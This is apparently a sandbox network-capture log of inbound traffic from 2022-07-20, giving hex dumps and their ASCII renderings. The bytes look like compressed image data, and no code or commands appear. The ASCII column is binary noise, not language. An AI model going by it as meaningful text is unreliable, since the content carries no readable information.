2022-07-20 13:44:17 UTC	356	IN	Data Raw: bb b1 b5 7b c9 44 71 b5 c4 bb 23 12 1e 02 96 c6 06 4f 00 f4 e4 57 bf f8 2e fb e2 ff 00 c1 bf 1b f8 72 db c6 93 de a7 86 26 b8 4b 29 1e f2 65 96 d8 46 c4 2f 0d 93 b7 1c 60 fb 57 90 7c 58 f1 16 87 ad 6b 89 75 a7 59 5c d9 0b 98 92 59 6c ee a3 d8 b6 d2 95 05 d1 06 49 29 9c 95 27 f8 48 cd 72 b7 de 21 be d4 1a 33 77 7b 35 e1 55 d8 8d 3c 85 f0 bf dd 19 cf 15 cb 0a d2 82 b4 b7 43 97 2c 5f ba 7d 8f fb 43 7c 4e d4 ac ef 53 4d d1 ef 2d e5 d2 04 60 4e a8 a9 32 5c 31 e7 05 b9 e0 0c 63 6e 3a 9a f9 67 c6 57 50 da eb 97 7a 94 2e 8b 05 e8 f3 7e cf 1c b9 65 56 fb d1 bf d0 83 9f c0 d7 34 ba c4 96 b0 c9 12 4e f1 41 20 c1 55 72 07 e5 58 33 4c b2 48 c4 0c 8f 53 ce 6b 27 19 d5 a8 ea 4d 93 39 ae 54 8d ed 23 4b 85 16 5d 41 81 90 31 c2 2b 0c 81 df 9f ce b5 ec 35 66 13 30 76 53 1b Data Ascii: {Dq#OW.r&K)eF/`W\|XkuY\YlI)'Hr!3w{5U<C,_}C\|NSM-`N2\1cn:gWPz.~eV4NA UrX3LHSk'M9T#K]A1+5f0vS
2022-07-20 13:44:17 UTC	444	IN	Data Raw: c4 a6 b6 2e d1 59 1d d3 dd 4f dd 21 0c 09 2b fe d1 e0 0f 73 5f 55 fc 6e f8 25 17 c4 5f 0d d9 8d 1c 0b 6d 5f 4a 80 41 65 13 39 11 3c 20 7f aa c7 40 78 18 6f 6e 6b c9 ff 00 63 78 66 9b c5 9e 22 95 7f e3 da 1b 14 8d db d4 99 06 df fd 04 d7 d6 31 8a e9 84 23 28 59 ad c7 2d cf cc db 29 ae 34 4d 5a eb 49 bd 85 91 a4 90 c3 24 52 0c 14 90 1c 0e 3b 10 46 3f 13 5e ed fb 26 f8 ca f7 c3 bf 10 a4 f0 c4 d2 b7 f6 76 a9 1b b0 b7 66 ca c7 3a 0d c1 80 ed 90 08 3f 5a e8 7f 69 0f 83 52 78 b7 c4 10 f8 8f 4a d2 ae ac 21 ca 0d 46 fa 45 45 8c fc c0 09 15 03 6f cf 40 72 a3 3c 1a f1 48 7c 45 79 f0 ef c7 50 6b 1a 63 46 2f a1 26 58 25 96 30 e3 90 55 b2 0f 5c e4 d7 9d 75 42 7c bd b5 f9 0e cf 92 ec fb 5f e3 27 85 a5 f1 97 c3 dd 4f 4f 81 43 dc 26 db 98 d0 9e 1c c6 77 15 fc 46 71 ef 8a Data Ascii: .YO!+s_Un%_m_JAe9< @xonkcxf"1#(Y-)4MZI$R;F?^&vf:?ZiRxJ!FEEo@r<H\|EyPkcF/&X%0U\uB\|_'OOC&wFq
2022-07-20 13:44:17 UTC	492	IN	Data Raw: 5b e1 95 c0 f9 f6 e1 64 c0 1e d4 7f c2 ca f8 c5 e2 24 30 e9 5e 07 87 4b 76 5f f5 d7 6f 90 2b de 97 27 1f 31 27 eb 52 ad 7a 56 7d c2 e7 c7 df 11 3e 19 fc 59 f1 54 b6 57 de 2a 80 eb 36 16 f2 2b bd 8d 8c 98 c2 ff 00 16 07 a9 19 e7 de bd 33 c0 df 17 3e 1c f8 0e 04 d3 62 d1 2e bc 24 dd 0a dd da b0 62 7d df 1c fe 75 ee fd fa e0 fd 7a 55 3d 43 45 b0 d5 94 7d b2 ca de e7 1d 3c d8 c3 62 a7 92 ce e8 2e 71 d1 fc 74 f0 2c d1 19 53 c4 76 41 07 07 74 80 1a e5 fc 41 fb 4d f8 6a d7 7d be 85 0d d7 88 6f f7 05 8e 3b 48 98 a3 31 3f de e9 ff 00 eb ae be e7 e0 df 82 ae 27 32 bf 87 2c 0c 99 2c 48 88 00 49 eb 5c 9f 88 3e 2c 7c 3e f8 59 ab 3e 8c ba 44 df 68 b7 6c 49 f6 1b 35 2b 13 1e 71 96 23 27 91 d2 94 a7 c8 af 27 60 32 fc 1f e0 4d 7f e2 57 89 ad bc 5f e3 a8 be cf 0d ab 6e d3 Data Ascii: [d$0^Kv_o+'1'RzV}>YTW*6+3>b.$b}uzU=CE}<b.qt,SvAtAMj}o;H1?'2,,HI\>,\|>Y>DhlI5+q#''`2MW_n
2022-07-20 13:44:17 UTC	524	IN	Data Raw: de 79 e0 d7 3c d2 73 c7 af 50 7f 4a e8 2c 66 82 ea 38 a1 59 18 89 54 18 d5 86 58 37 4d bf ad 63 dd 58 98 f5 01 09 3e 5a 93 f7 b1 9c 0e f5 c1 15 67 66 67 33 d6 fe 05 68 fe 22 f1 6e 87 e2 5f 0f 68 97 b6 76 89 3c 69 7b 2c 77 31 e5 a5 d8 4a 85 53 db ef 7e 82 b8 2d 6e dd ed b7 c3 20 29 2c 6c 55 94 f5 04 71 8f d2 b7 7c 3f f1 52 e3 e1 ee ad 69 a8 78 66 ca 3b 1b a8 ec 05 95 cc 97 27 ce 13 9d c0 99 0a f0 14 f0 00 03 b0 15 cf f8 b3 c6 d7 5e 2f d6 ae 75 2b c8 2d 56 6b 96 dd 27 d9 63 f2 d4 b6 3a ed ec 4e 39 fc 6a aa 45 4a 31 b6 e8 7a 25 62 e7 82 75 9b 7d 07 c4 96 7a 85 cb ac 49 68 4c f1 ee 19 cc 8a b9 41 ff 00 7d 63 f2 af 4c d5 be 21 78 7e eb c7 1a 35 e6 89 6d 2e b9 6d 6b a7 79 17 a6 e1 0c 22 e2 e1 b3 bd 89 3c e0 e7 ad 78 05 c3 4b 31 dd b0 ec 1c 0e 78 af 41 f0 3c 2b Data Ascii: y<sPJ,f8YTX7McX>Zgfg3h"n_hv<i{,w1JS~-n ),lUq\|?Rixf;'^/u+-Vk'c:N9jEJ1z%bu}zIhLA}cL!x~5m.mky"<xK1xA<+
2022-07-20 13:44:17 UTC	603	IN	Data Raw: 5b 99 2d ed 63 67 4b 4b 78 d8 a8 8a 32 7a 71 eb 81 9f a5 7d 47 fb 51 6a 30 d8 fc 1f bd 83 7a c4 2e 27 82 28 90 77 00 e7 03 e8 00 af 88 72 fb 98 e0 81 9e a4 64 d7 65 64 a9 da 11 d8 99 6d 62 d5 ad cc ea c1 a3 9e 44 21 83 0d ac 41 c8 e4 1f ce be 93 fd 97 fe 2b 5b e9 eb 7f e1 cb db 48 22 9e 44 9a fa 2b e5 18 7b 99 15 4b 32 ca 4f de 38 07 07 db 15 f3 2a b1 c1 da 08 1d 7e 5e 2b 77 41 d0 75 cd 61 6e e7 d2 ad 2e 67 4b 78 99 ae 26 80 61 61 8f 07 71 76 e8 a3 00 fe b5 84 25 28 49 38 8a 3a 1e ed f1 c7 c7 1a 5f 8e 35 6f 0c f8 57 4e 8a 7f 14 5d 58 b1 3a 8f d8 4e 5e 6c 80 cf 0a 3e 0e 30 57 96 e8 31 5c f7 84 7f 67 eb cd 1f c6 5e 0d ff 00 84 84 da fd 9b 52 2f a8 4f 61 bb 72 c1 6b 18 0c 4c ad d3 a1 15 e8 1f 0b 7c 33 a3 fc 2b f8 6e 3c 4d e2 34 b5 d0 ef 35 a8 e3 b6 8d 88 21 Data Ascii: [-cgKKx2zq}GQj0z.'(wrdedmbD!A+[H"D+{K2O8*~^+wAuan.gKx&aaqv%(I8:_5oWN]X:N^l>0W1\g^R/OarkL\|3+n<M45!
2022-07-20 13:44:17 UTC	731	IN	Data Raw: 74 aa 21 97 ac be 60 1c 02 19 00 07 8e 05 7b 57 c2 dd 7f 52 f8 43 ae 78 7b c6 72 e9 cb 75 a4 5c 19 2d c2 b6 09 31 e0 2c 8c b8 e5 5c 64 e3 3e 87 b1 af 1e d1 d1 a4 bb f2 94 00 b2 29 2c 3e 9d 71 fa 7e 75 dc 78 a7 e1 5f 8d f4 1f 0b db f8 b2 da d7 fb 4b c2 97 d1 2c af 73 65 27 9e 96 e7 a6 c9 94 73 1b 82 3b 8e e3 9a 5a dc d6 3b 1f a4 da 56 a3 69 ad 69 b6 9a 8d 84 cb 73 65 75 12 cd 04 ab d1 d4 8c 8f f3 f5 ad 28 c6 39 af 82 fe 03 fe d7 52 7c 37 f0 f5 af 87 75 6d 1b fb 43 48 b7 76 68 ae 2d e7 22 68 b7 1c 95 f9 b2 08 07 3c 71 d4 d7 d3 7a 1f ed 55 f0 d3 58 b3 8e 73 af 9d 39 98 e0 c1 7b 03 2b a9 ff 00 80 82 3f 5a e8 8c d3 28 f6 15 fd 69 19 7a f1 cd 73 5e 1f f8 95 e1 5f 14 63 fb 23 c4 7a 65 fb 13 80 91 dc 28 7f fb e4 e0 d7 4a 72 bc 10 41 c7 43 54 23 9a f1 df c3 9f 0e Data Ascii: t!`{WRCx{ru\-1,\d>),>q~ux_K,se's;Z;Viiseu(9R\|7umCHvh-"h<qzUXs9{+?Z(izs^_c#ze(JrACT#
2022-07-20 13:44:17 UTC	778	IN	Data Raw: 13 55 b7 d7 34 bb cb c7 b8 8e e2 16 21 c6 ff 00 9b 6b 23 00 d9 19 23 38 c7 15 12 8a 85 9c 5e a5 5d c6 9d 8f 3c bf d5 6e 35 0b a9 67 b9 91 ae 26 91 8b bc 8e 72 4b 1e 49 3f 99 a9 ad 6d ff 00 b4 a1 b9 55 49 c9 82 26 9c 9b 78 cb 61 17 a9 60 3b 72 39 ac ab 5b 6b 8b a9 ca 45 13 39 19 24 f4 03 1e bd ab a5 f0 ce 8f a8 b4 d2 c9 15 d3 59 5b 49 13 c1 24 f1 b9 06 48 d9 70 ea 07 f1 02 09 07 b5 65 65 73 18 c6 52 76 5a 95 7c 29 e2 6b dd 0f c4 1a 5e a7 a5 82 9a 8e 9f 3a cf 6c d8 dc 43 03 9e 47 42 0e 39 1e e6 bb fd 5b c7 5a a4 3a 2e a5 60 b3 c7 6d 65 aa c9 0c d7 56 6a aa 63 47 8d 99 90 47 d4 a2 a9 76 c2 8e 39 ae 5b 16 9a 2c 48 90 46 b9 4e 98 e5 db ea 7f 3a e6 35 2d 69 ee 6f 9d 8b 12 17 e5 0a a7 8a d5 42 ef 43 a9 5a 9a d4 d6 d5 7c 51 2d cc 3e 5c 65 95 36 ec 25 ba fe 1f 95 Data Ascii: U4!k##8^]<n5g&rKI?mUI&xa`;r9[kE9$Y[I$HpeesRvZ\|)k^:lCGB9[Z:.`meVjcGGv9[,HFN:5-ioBCZ\|Q->\e6%
2022-07-20 13:44:17 UTC	810	IN	Data Raw: f4 4f c3 5f 13 bc 11 f1 e3 4d 97 4a 9a 18 e7 96 4f de 3e 91 a8 80 24 0c 39 dd 1b 0e a4 76 65 3b 86 3b 57 c7 3f b5 27 87 e2 f0 7f c4 fb 8d 22 d6 69 a7 b4 5b 78 67 12 dc 85 32 be e5 cf ce e0 0f 30 8e 9b db e6 38 e4 93 cd 6b 52 11 9a f6 94 dd d1 55 36 bb 38 ed 25 93 52 fb 44 b2 82 6c 6d 63 53 22 8e 0b 9f ba 8a 71 db 8c 9f 5c 1a a9 aa 78 8b c9 45 0a ab 18 03 25 63 18 03 d8 55 3b 5f 33 fe 11 f9 d2 19 fc a1 25 ca 2c 80 e0 6e 5d a7 03 d7 ae 6b 98 d6 2f 5a 1b a1 6f 13 19 1d 06 1d 98 67 0d ed f9 52 a3 4e e6 ca a7 2c 13 ea 4d 79 ab 5d 6a 12 84 07 62 e7 80 3a 8c fb d5 07 ca b9 52 47 35 73 4f d1 ef 75 88 db 61 21 d4 f1 21 e1 7f 13 5b da 5f 87 ec f4 39 84 f7 ec 97 77 00 e5 54 12 14 57 56 91 d0 8e 59 4d dd 90 58 f8 2e e2 e2 c4 5e 5f 31 b4 b7 c6 56 1f f9 68 fc 64 1f 6c Data Ascii: O_MJO>$9ve;;W?'"i[xg208kRU68%RDlmcS"q\xE%cU;_3%,n]k/ZogRN,My]jb:RG5sOua!![_9wTWVYMX.^_1Vhdl
2022-07-20 13:44:17 UTC	874	IN	Data Raw: 19 25 cc 41 47 cc aa 30 3e 5f 97 83 c9 35 0f 8d be 04 ea 9a a7 8b bc 2d e0 cd 0f c5 d2 5f eb 16 b0 dc cd a9 dd a2 15 8f 49 b7 7d a1 50 e0 96 c4 9f 37 ee 89 f9 b2 78 1c 9a d4 f8 ff 00 fb 49 ea 3e 1f b9 bd f0 df 85 88 d3 21 b6 3f 67 9f 5a 8f 6b 33 e0 0c c7 6d 8f 94 63 38 2d d8 82 38 af 13 87 f6 88 d5 7c 2b e1 99 b4 3f 0a 23 68 82 f5 bc db ed 52 46 f3 6f ae e4 c7 2c d2 9f ba 3d 02 f4 c9 e4 92 4d 73 ac 35 18 d4 75 12 f7 99 dd 2c 45 49 53 54 be ca 1d f0 ff 00 4b d5 7e 08 fc 51 d6 ec af ee db c2 fa fe 9f 1b 4b 61 aa 5b b1 9a d0 c8 06 e1 0c a8 b9 f3 20 98 0d bf de 42 54 fa d5 3f 13 f8 bb 44 d4 bf e1 23 b7 d3 2c 64 d3 b4 cd 72 68 6f a3 b4 dd 81 a7 5d 60 fd a2 38 4f f1 c4 58 e5 7a 63 03 de bc da e3 50 9a ff 00 12 bc 8d 26 4e 49 76 c9 dc 7a 9f 73 fe 35 02 dd 4d 32 Data Ascii: %AG0>_5-_I}P7xI>!?gZk3mc8-8\|+?#hRFo,=Ms5u,EISTK~QKa[ BT?D#,drho]`8OXzcP&NIvzs5M2
2022-07-20 13:44:17 UTC	906	IN	Data Raw: b7 86 87 2d 4d 74 20 bf 69 d2 75 1b 9a 58 e1 e0 ee 1d 3e b5 2e a1 6e d7 96 d1 5c 20 26 51 d7 60 c0 15 61 b5 4b 76 8a 38 9d 14 12 30 46 39 3f 5a cf 5b 89 fe d4 23 8c 37 90 e3 68 38 cf f9 c5 6b b9 ce ed 7b 10 32 90 41 21 73 c0 39 18 cd 2c ae 63 c1 2c c7 71 e0 63 91 56 55 53 ed 4f 03 9e 63 18 1c 75 aa b7 59 dc ea 4e 0e 71 c7 3f e7 a5 02 e9 71 b1 b1 9b e5 00 6e cf 25 b8 cd 0f 6c f9 e0 64 11 82 d9 e4 54 50 b7 cc 47 de 38 c1 39 ab 33 3b 26 40 03 b0 ce 31 40 6e ae c7 6d 26 3f 22 2d a0 11 c9 3d fd f2 7a 0a 8e 4d 86 61 1b 38 da 17 96 07 8a b3 30 fb 2d 98 91 88 13 30 da aa 0f 20 56 24 d7 0e d1 a2 30 cb 06 c8 39 fe 75 28 25 a1 76 69 d6 19 07 90 e4 60 10 59 b8 c8 a8 1a 4f 31 79 dc e3 38 cf 73 55 5a 52 ca 31 91 d8 f1 82 6a 58 c3 c6 a0 e0 81 d8 13 55 ca 43 97 42 49 a1 Data Ascii: -Mt iuX>.n\ &Q`aKv80F9?Z[#7h8k{2A!s9,c,qcVUSOcuYNq?qn%ldTPG893;&@1@nm&?"-=zMa80-0 V$09u(%vi`YO1y8sUZR1jXUCBI
2022-07-20 13:44:17 UTC	977	IN	Data Raw: 32 47 96 2b dc e0 e3 3d 07 06 ba 1a e6 84 a3 6d c2 9b e5 92 4f a9 e8 b6 7a 1e 99 e2 cf 15 69 5a 04 77 ba 6f 87 a1 50 fa 8d ce a3 74 01 02 41 fe ae 29 37 1c 10 1c 60 0f 42 49 cd 74 5a cf c6 2d 7f c4 9a 47 88 3c 3d 7d 04 77 fe 22 d5 2d ad b4 7b 59 2d 55 16 26 8f ce 62 e7 1d 3e 6c 8c 11 c6 00 ae 57 e1 a7 8b 61 f0 ad c5 ff 00 8d b5 5b 0b 7b f9 2e 96 78 ec de 78 d5 d6 de e0 01 e5 b9 53 c6 40 ce 07 b8 ae 37 5a f1 3e a1 e2 1d 52 fb 54 bf b5 1a bc f7 0a ea ad 74 c4 b0 dc 30 24 e0 83 b8 63 8e df 85 69 42 7c 91 50 be ab 73 4a 9a 3b 9b 91 88 3c 2f 6a 83 40 91 52 fc 5a 49 65 ab 3d c2 c7 3a cb 23 31 0e 8a a4 10 a8 30 02 b0 e4 e0 9c d7 03 7c 4a dc 66 05 68 1f 19 6d a7 72 9f fe b5 56 b4 bb ba d3 6e 84 8b b9 18 70 ca c3 e5 23 b8 22 b4 9b fd 39 c4 96 7b d6 6f bc 23 07 25 Data Ascii: 2G+=mOziZwoPtA)7`BItZ-G<=}w"-{Y-U&b>lWa[{.xxS@7Z>RTt0$ciB\|PsJ;</j@RZIe=:#10\|JfhmrVnp#"9{o#%
2022-07-20 13:44:17 UTC	1073	IN	Data Raw: bf 8b ac 62 40 30 12 70 f0 e0 74 c6 19 47 b5 68 9a 6e f7 0b 33 82 b8 f0 3f c7 6f 19 4f 69 2e ad e2 8d 07 c3 01 01 1e 66 97 16 e9 e1 0d 90 76 e1 7e f6 09 19 0d d0 9e 79 35 d0 f8 4f f6 59 f0 3f 87 e5 fb 5e ad 0d cf 8b 75 66 c3 4b 79 ac ca 5c 33 77 3e 58 e3 af ae ea ea e3 f8 cb e0 59 2f 05 aa f8 b3 4b 69 8a e4 29 9c 2a 9c f4 1b cf cb 9f c6 be 78 f8 99 fb 51 78 df 4f d6 a7 b0 b2 b2 b5 f0 f4 71 b6 15 1a 31 3c 8c 3b 31 73 f2 90 41 04 6d 18 e4 62 95 4a 90 a6 af 20 b3 b1 f5 bc 69 1d bc 51 c5 12 2c 71 46 a1 63 8d 06 d5 45 1c 00 00 e8 06 2b 9a f1 df 8e b4 af 87 de 1f b8 d5 f5 79 82 44 80 88 a1 5f bf 3c 98 e2 34 1e a7 8f a7 5a f9 43 c1 ff 00 b6 5f 89 b4 9b d4 8f c4 30 5b 6b 96 19 c3 94 8c 43 3a 8f 50 cb c1 3e c4 57 3f f1 eb e2 aa 7c 53 f1 91 97 4f 9d e5 d0 ac e2 44 Data Ascii: b@0ptGhn3?oOi.fv~y5OY?^ufKy\3w>XY/Ki)*xQxOq1<;1sAmbJ iQ,qFcE+yD_<4ZC_0[kC:P>W?\|SOD
2022-07-20 13:44:17 UTC	1129	IN	Data Raw: 7b 62 9b 8a 90 af e3 4d a6 2b 11 91 4d fc 2a 5c 67 ad 37 14 05 88 cd 33 15 29 1d a9 ad 4c 2c 46 7f 4a 6d 48 c3 fc 9a 6f f4 34 05 86 11 48 47 e7 f4 a7 ed a6 b0 f7 a0 63 0f d2 9b 8a 7b 2f e7 de 9a 45 03 19 fa 53 4f 15 21 14 d3 40 11 9c d3 5a a4 6a 6b 7d 28 02 22 bf 8d 34 d4 9b 69 85 68 02 26 5c 54 6d ed 53 37 5a 63 53 b8 10 b7 15 c3 fc 5f f8 a5 a6 7c 21 f0 4d e7 88 35 2c 48 63 fd dd bd b0 6c 34 f2 9e 8a 3d 87 52 7d 01 ae e6 4a fc eb ff 00 82 80 78 e6 4d 63 e2 7d b6 83 6d 73 2a db e9 36 8a 92 c6 5c 18 cc 8f f3 96 18 e8 70 40 39 f4 a4 23 c2 be 28 fc 42 97 c4 da 9c fa 9e a1 3c 97 7a a6 ac 4d d5 d1 03 04 31 3f 2a 9c 74 0a a0 60 7b d4 df 05 34 68 a6 ba 5b eb 88 96 49 14 79 e1 4e e0 22 8d 5b a9 1d c9 38 c5 71 49 0c 33 2d a4 b2 a9 94 34 84 c8 aa db 59 fb 01 9f 73 Data Ascii: {bM+M\g73)L,FJmHo4HGc{/ESO!@Zjk}("4ih&\TmS7ZcS_\|!M5,Hcl4=R}JxMc}ms6\p@9#(B<zM1?*t`{4h[IyN"[8qI3-4Ys
2022-07-20 13:44:17 UTC	1216	IN	Data Raw: 6d e0 1d 43 c6 5a 85 fc 8e 24 b4 82 ca 05 9a e2 fa 55 24 43 19 1c 05 51 cb 3b 0f ba 3e a7 a5 76 1f 0d fc 6d a0 78 2a eb 50 d4 ae cc 53 da e8 a6 e2 6d 16 de 55 fd ed c5 e3 6d 54 77 e3 e6 0a 33 8f 43 9a 51 a2 e4 d7 36 c8 ae 87 8a 5e e9 af 60 a1 6e 15 a3 6e ea e3 6b 7d 31 50 41 63 23 aa b2 2b 2a 93 f2 e4 f3 5d c6 b0 9a 1e bb e1 bd 43 5f d5 7c 4c d7 5e 32 bb bb f3 57 4e 8a 26 91 0a 37 2c 59 fa 2b 64 9f a6 2b 93 b3 6b 8b 79 b7 44 40 58 8f 22 4e 49 fc 3f 1a b9 7b 9d 4c 5a 47 a5 d8 f8 ea cb 43 ba f0 b0 8b c3 d1 dd c5 a3 c4 44 56 13 dc 33 2c f7 2c db 8c 8e 48 e8 18 83 b7 a7 00 57 ac 69 b7 1a 9e a5 e3 fd 03 c3 9f 10 f5 74 d4 16 6f 96 5f 0e e9 ce 56 d6 07 6f 99 3c f2 a7 f7 8e 49 24 8e 47 3c 9e d5 f2 fc e7 fd 53 33 6f 90 75 5c 1c 83 9c d6 ff 00 82 fc 4d af e9 7e 2c Data Ascii: mCZ$U$CQ;>vmxPSmUmTw3CQ6^`nnk}1PAc#+]C_\|L^2WN&7,Y+d+kyD@X"NI?{LZGCDV3,,HWito_Vo<I$G<S3ou\M~,
2022-07-20 13:44:17 UTC	1256	IN	Data Raw: 6e 2d 75 26 b7 63 69 19 59 1b 70 c0 65 dd 8e 3f 5f ca b2 64 d2 6e 35 e9 af ae 6c a2 9e e0 b5 d3 e3 6c 65 b0 9c fc c7 1c f6 ad 8d 42 fa 5b 3d 2e da 15 b9 29 e4 cb 33 a8 53 ce dd ab 8e 3e a4 fe b5 dd 78 17 c5 5a a7 83 fc 13 a5 5e 59 cd 6e 6d 5a 76 5b 8b 65 5f 2d e7 8d c7 31 c8 ea 43 b4 79 8c 71 9f 5f 5a c6 12 51 bc e4 cc bd 9a b7 2a 38 87 65 91 a7 b1 b8 8d c5 ad bc f6 c6 39 1c 10 3e e8 46 03 f2 19 fa 57 3d e2 4b 73 a5 a5 96 97 e6 99 5e 05 66 93 69 cf cc c7 24 7b f6 15 ed 9f 11 3e 29 da 6b 5e 0b d3 ad 06 97 1d 99 d3 f5 0b db c1 1c 64 08 fc f9 1f 28 23 1d 76 a2 93 d7 be 2b 99 ff 00 84 5f 44 f0 cf 80 6c 75 9d 65 74 fd 4f 56 d4 c9 bd 84 47 74 ed 3d bc 63 85 49 23 fb 9c 90 4e 39 35 d9 1b 6e b6 36 92 d2 dd 59 ca cf a7 db 68 be 19 b6 b7 91 95 b5 0b 81 f6 82 ea 72 Data Ascii: n-u&ciYpe?_dn5lleB[=.)3S>xZ^YnmZv[e_-1Cyq_ZQ*8e9>FW=Ks^fi${>)k^d(#v+_DluetOVGt=cI#N95n6Yhr
2022-07-20 13:44:17 UTC	1272	IN	Data Raw: b1 59 ae f5 f9 88 ba 82 d6 d8 6e 29 1c 79 dd 24 9f dd 41 9f c4 8f ad 79 af 84 b4 bd 5b f6 5f f1 45 84 9a dc d2 6a be 19 d5 ed 63 1a b4 96 c8 c6 2d 3a 77 24 29 c6 79 04 a6 dc 9e bf 36 2b 39 4b 5b 74 2e da 5c e7 ad fe 1d e8 37 9f 0c f4 4b ad 16 f7 54 7b bb db 58 1a 4d 2e fe c5 99 25 91 b0 b2 35 bc aa 98 f9 5f 3c 13 d8 d7 91 78 82 d9 f4 9d 6a ef 4f bc 2a 8f 00 10 ba 81 82 18 0c 1f d7 35 f5 c7 c0 9d 66 eb c1 de 2d f1 4f c3 1b 94 61 6f a6 48 da a6 93 71 9c 79 b6 53 3e e0 bf 86 f1 8c 7a b7 a5 6f 78 ab e1 ef f6 5f 88 e6 f1 66 87 a4 d9 ea f7 12 38 93 50 d1 ee a0 8d 8d c9 1c 79 b0 48 c3 f7 72 80 07 1f 75 b1 cf 35 c1 53 07 19 4f 9e 2e df d6 e2 6f 99 59 9e 0f 67 fb 32 f8 37 5a f0 5e 9b 71 3e a3 a8 78 5f 5d ba b5 59 19 b5 38 ca da cb 21 ee 0b 28 1b 4e 7b 36 79 e9 5e Data Ascii: Yn)y$Ay[_Ejc-:w$)y6+9K[t.\7KT{XM.%5_<xjO*5f-OaoHqyS>zox_f8PyHru5SO.oYg27Z^q>x_]Y8!(N{6y^
2022-07-20 13:44:17 UTC	1359	IN	Data Raw: 0c 51 23 06 2a d2 03 b4 82 e3 04 00 7a 72 6b ad f8 91 f1 c2 fb e3 47 c3 3d 6f 66 85 63 6d 6b a5 dc c3 33 4e fa 82 a4 f1 a9 dd b7 11 bf df 07 90 76 1c e4 0e 2b 97 f0 af c3 cf 88 bf 15 ae 3c 4b e1 db 0d 6e 4b 6d 17 47 b8 78 06 93 7b a8 30 8c 01 23 6c 8d 13 9c 81 8e bd 3d f9 af 24 f1 57 84 6e 3c 33 ab 5d e9 f7 57 10 cb 77 6b 21 59 56 da 55 96 35 c7 70 e0 e1 bb f4 f4 ab 77 57 4d e8 cc db 92 5b 68 56 b1 d4 2d e6 ba 30 5c 18 d2 09 32 09 93 38 1d c1 c8 e7 ff 00 d7 55 b5 2b 93 0a ac 69 26 63 8c 9d aa 4e 71 f4 fc aa e6 83 e1 5b ff 00 11 4a f0 69 30 9b 9b 95 8c c8 62 40 4b 95 1c b3 00 07 40 3a d6 0d d5 8d cf c8 c1 32 8c 72 18 1c 83 53 08 c3 9b 73 27 75 1d 8d 2b 6b c9 97 ca 92 13 e6 10 72 c8 c7 04 fb 7d 2b 4a d7 c4 17 9a 7d f9 b9 b6 bd b8 b6 9c 82 3c d4 72 ac 32 30 Data Ascii: Q#*zrkG=ofcmk3Nv+<KnKmGx{0#l=$Wn<3]Wwk!YVU5pwWM[hV-0\28U+i&cNq[Ji0b@K@:2rSs'u+kr}+J}<r20
2022-07-20 13:44:17 UTC	1431	IN	Data Raw: 55 03 e6 4e 3e 60 4f 14 f9 12 25 c3 60 91 9e fd ff 00 ce 69 dc 95 1d 4c c9 22 4f 2f 23 2a c3 aa 9e 4d 58 f2 da ce 38 db 69 60 40 24 f6 fa 7e b4 5d db 99 19 5e 22 72 4e 36 8e 71 52 ae e6 87 0e 58 8c 82 41 3c 01 45 ee 2b 33 bc f8 47 e1 9b 7f 1d 7c 42 f0 ce 83 70 1c a5 e5 e4 71 4e 62 fb c1 0b 0c e3 f0 cd 7e ac db 58 c5 67 04 56 f0 22 c5 04 28 b1 c6 8a 30 15 54 60 01 f4 00 57 c0 9f b0 e7 c2 6b cf 13 7c 40 4f 16 4f 1b 45 a4 e8 6d e6 09 31 81 2d c1 1f 24 63 e9 9d c7 e8 3d 6b f4 2a 38 f8 15 8c 9e b6 47 7c 17 bb 76 41 e4 fb 57 9c fc 62 fd 9f fc 2f f1 aa d6 d9 75 b4 b8 b6 bd b5 04 43 7d 64 ca b2 05 fe eb 02 08 65 c9 38 07 d4 f3 5e a2 13 b6 28 f2 ea 6e 51 f0 cf 8c 3f e0 9e ba 9c 32 4d 37 86 fc 47 69 7b 1a ae 63 b7 be 8d a0 94 9e 72 37 0d cb e9 8e 9d fa 57 8a 7c 40 Data Ascii: UN>`O%`iL"O/#MX8i`@$~]^"rN6qRXA<E+3G\|BpqNb~XgV"(0T`Wk\|@OOEm1-$c=k8G\|vAWb/uC}de8^(nQ?2M7Gi{cr7W\|@
2022-07-20 13:44:17 UTC	1447	IN	Data Raw: d6 34 23 3f 7d 9f 2b 69 5f 19 fc 57 a1 df 5a 2a 6a 32 49 6d 66 c8 45 be 70 a5 17 07 68 f6 e3 15 ec 9e 27 f8 81 f1 17 e3 56 8f 1e 8f a1 f8 22 5d 26 09 dd 27 5d 46 56 65 68 8a b6 43 23 b0 01 7b 73 56 b5 ef d9 df 4e d2 fc 36 ff 00 db 17 3a 7e 9a ff 00 da 04 0b e1 28 89 52 d4 44 40 2d b8 f7 75 53 81 cf 26 a9 69 bf 12 bc 53 6d a7 c5 a4 5c 5d df 41 f0 fe 09 fe ca 7c 5c b6 8c b3 b4 23 a6 38 e8 70 54 36 3a 11 57 13 45 4d c7 76 7a 07 c1 ff 00 80 f6 3e 0f b9 1a 96 af 77 0e b3 e2 18 0e 5d 50 ee 8a de 46 e4 93 9e 5a 43 93 f3 37 ad 7b 42 2f 3e a7 bd 79 66 8f f1 e3 e1 96 95 a6 c9 6f a7 eb 71 c7 05 a8 c8 8d 62 90 bc a4 f7 19 19 62 4f 52 79 eb 54 35 6f da 12 66 f1 1e 9b a1 e8 9e 19 bd 96 ef 50 28 2d e6 d4 d4 c0 ac ac 71 bb 67 de c0 e7 f2 34 f4 37 8a 8c 56 8c f6 85 5f 6a Data Ascii: 4#?}+i_WZ*j2ImfEph'V"]&']FVehC#{sVN6:~(RD@-uS&iSm\]A\|\#8pT6:WEMvz>w]PFZC7{B/>yfoqbbORyT5ofP(-qg47V_j
2022-07-20 13:44:17 UTC	1614	IN	Data Raw: 6d ee cf 9b 66 dc 35 b9 1f 2b fd 7d 6b 9f d5 3e 11 78 33 58 78 da ef c3 3a 6b b4 7d 0a db 84 27 b6 0e 31 9a ed 36 fb 53 4a 9a 41 64 70 10 fc 0e f0 15 bd bc f0 a7 85 34 dd 93 0c 36 e8 b2 7f 02 79 1f 85 61 da 7e cf da 4f 87 64 f3 bc 2b a9 dd e8 13 06 dc aa d1 c5 77 10 3f ee c8 a4 fe b5 eb 25 7a d3 4a 7f 91 40 b9 63 d8 f1 ed 4b c3 7f 12 52 ff 00 c8 d4 f5 a9 b5 bd 00 c7 b7 67 87 44 3a 75 d3 36 7f e5 a1 6e d8 cf dd 35 a9 e1 ff 00 04 eb 49 a7 8d 32 da 08 7c 11 a0 b1 66 96 2b 19 be d3 a8 5d 13 d4 c9 33 0c 29 3d c8 dc 7d eb d3 76 1a 43 19 fa 52 0e 55 b9 f3 67 8b ff 00 65 76 92 67 8f c3 d3 45 15 ac 92 79 b2 35 d1 2f 29 6f f7 ba e3 9a d0 f0 1f ec a9 a6 68 f7 51 5e 6b f7 27 53 96 33 